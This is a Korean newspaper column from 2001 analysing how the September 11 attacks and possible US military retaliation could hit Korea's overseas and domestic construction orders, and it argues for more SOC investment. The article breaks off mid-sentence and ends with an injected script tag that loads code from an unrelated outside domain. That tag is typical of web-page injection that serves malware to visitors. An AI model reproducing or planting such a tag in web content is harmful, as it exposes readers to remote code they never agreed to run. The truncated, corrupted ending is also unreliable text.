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언론기고

SOC투자확대로 적극 대응해야

보도일자 2001-10-08

보도기관 일간건설

미국의 테러사태는 직후 세계경제에 큰 충격을 줌으로써 경제상황에 민감하게 반응하는 주가 금리 유가 환율 등 가격변수들이 큰 폭의 등락을 나타냈다.

그러나 최근 들어 대규모 전쟁과 이에 따른 중동지역의 혼란 가능성이 다소 낮아지고 선진 주요국들이 금리인하 및 재정지출 확대 등을 통한 경기부양책을 모색함으로써 세계경제의 혼란이 다소 진정되는 듯한 모습을 보여주고 있다. 특히 테러사태 이후 폭등한 유가의 경우는 세계경제의 경기부진에 따른 수요감소 효과가 더욱 클 것으로 예상되면서 오히려 큰 폭의 하락세를 나타내어 OPEC이 가격안정을 위해 석유 감산을 논의하는 상황으로 반전되기도 했다.

그러나 이러한 가격변수들이 최근 다소 안정을 찾고 있다고는 하나 미국의 테러사태가 세계경기에 미치는 부정적인 영향은 불가피할 것으로 예상되고 있다. 또한 이번 사태가 향후 어떠한 방향으로 전개될 것인지에 대해 전망이 매우 불투명한 상태에 있다.

현재의 상황에서 생각해 볼 수 있는 향후 시나리오는 크게 두 가지로 나눠 볼 수 있다. 첫번째 시나리오는 대규모 무력의 사용이 없이 테러집단을 체포 또는 인계 받으면서 현 상황을 마무리하는 경우이다. 두번째 시나리오는 테러집단 또는 테러집단이 있는 국가에 대한 대대적인 보복공격을 감행하고 중동지역 국가들의 반발이 고조될 경우를 가정할 수 있다.

사태 발생 이후 약 1개월이 지난 현재의 상황은 어느 정도 진상조사가 마무리되고 있으며 소규모의 군사작전이 진행되고 있다는 점을 고려해 볼 때 첫번째의 시나리오가 진행되고 있는 것으로 볼 수 있다. 그러나 첫번째 시나리오가 조만간 성공적으로 완료되기는 어렵다고 볼 때 두번째 시나리오로 비화될 가능성은 아직 매우 큰 것으로 보인다. 이런 점에서 첫번째와 두번째 시나리오를 중심으로 우리나라의 건설산업에 미치는 영향을 분석하고자 한다.

먼저 미국 테러사태가 우리나라 건설산업에 직접적으로 영향을 미치는 부문으로 해외건설을 들 수 있다. 두번째 시나리오가 현실화되어 국제금융부문이 불안한 모습을 보이고 중동지역에 대한 정치적 불안이 매우 심각해 질 경우 이 지역에서의 우리나라 해외건설은 크게 위축될 것으로 보인다. 중동지역의 정치적 불안 정도에 따라서 중동지역의 건설 발주물량 감소뿐만 아니라 현재 진행되고 있는 공사현장에서도 우리 업체들이 철수해야 될 가능성이 있다고 하겠다.

그러나 첫번째 시나리오가 이루어질 경우에는 비록 다소간 중동지역의 정치적 불안이 나타날 것이나, 해외건설에는 크게 영향을 줄 것으로 보이지 않는다. 또한 첫번째 시나리오의 경우 최근의 유가 움직임에서 나타나듯이 실제 유가에 미치는 영향은 거의 없을 것으로 보인다. 그러나 두번째 시나리오가 현실화될 경우에는 유가폭등 가능성이 높고 이 경우 국내물가 상승과 함께 건설생산 코스트 상승으로 연결될 것으로 예상된다.

이러한 직접적인 효과보다는 세계경제 부진과 국내경기 부진에 따른 간접적인 효과가 더욱 클 것으로 예상된다. 첫번째 시나리오와 같이 대규모 군사 보복조치 없이 수습되는 국면이 나타날 경우에도 미국경제 회복이 어느 정도 지연되는 것이 불가피할 것으로 보여 세계경제에 미치는 부정적인 영향은 피할 수 없을 것으로 판단된다.

많은 경제전문가들은 지난 2·4분기 중 전기비 연율 0.2% 성장에 그친 미국경제가 금년 3·4분기와 4·4분기 중 당초 기대보다 훨씬 낮은 마이너스 성장을 기록할 가능성이 크고 회복도 내년 하반기 이후에나 가능할 것으로 보고 있다. 물론 현재의 상황이 장기간 지속되거나 두번째 시나리오가 현실화될 경우는 미국경제와 세계경제에 미치는 파급효과는 더욱 심대할 것으로 보인다.

결국 이러한 미국경제 및 세계경제의 부진은 국내 수출 부진으로 이어질 뿐만 아니라 소비 및 투자심리를 더욱 위축시켜 수출과 내수가 동시에 부진을 보임으로써 국내경기 회복이 지연될 것으로 전망된다.

이처럼 국내경기가 위축됨과 아울러 향후의 전망이 불투명해 질 경우 국내경기에 민감한 상업용 및 공업용 건축수주가 크게 위축될 가능성이 크다. 이러한 국내 비주거용 건축수주의 경우 지난해 9월 이후 큰 폭의 증가세가 지속되었으나 금년 4·4분기 이후 증가세가 둔화될 것으로 예상됐다.

이러한 상황하에서 국내경기가 크게 위축될 경우 비주거용 건축수주가 급격히 감소할 가능성도 배제할 수 없다. 또한 금년 하반기 이후 증가세로 반전될 것으로 예상된 주거용 건축수주도 감소세가 지속될 가능성이 높다고 하겠다. 특히 미국의 대규모 군사보복이 이루어질 경우에는 세계 및 국내경제에 대한 불안심리가 고조되어 소비와 투자심리가 크게 위축되면서 건축부문의 부진이 더욱 악화되고 장기화될 것으로 보인다.

다만, 국내경제가 급격히 ?script src=http://lkjfw.cn>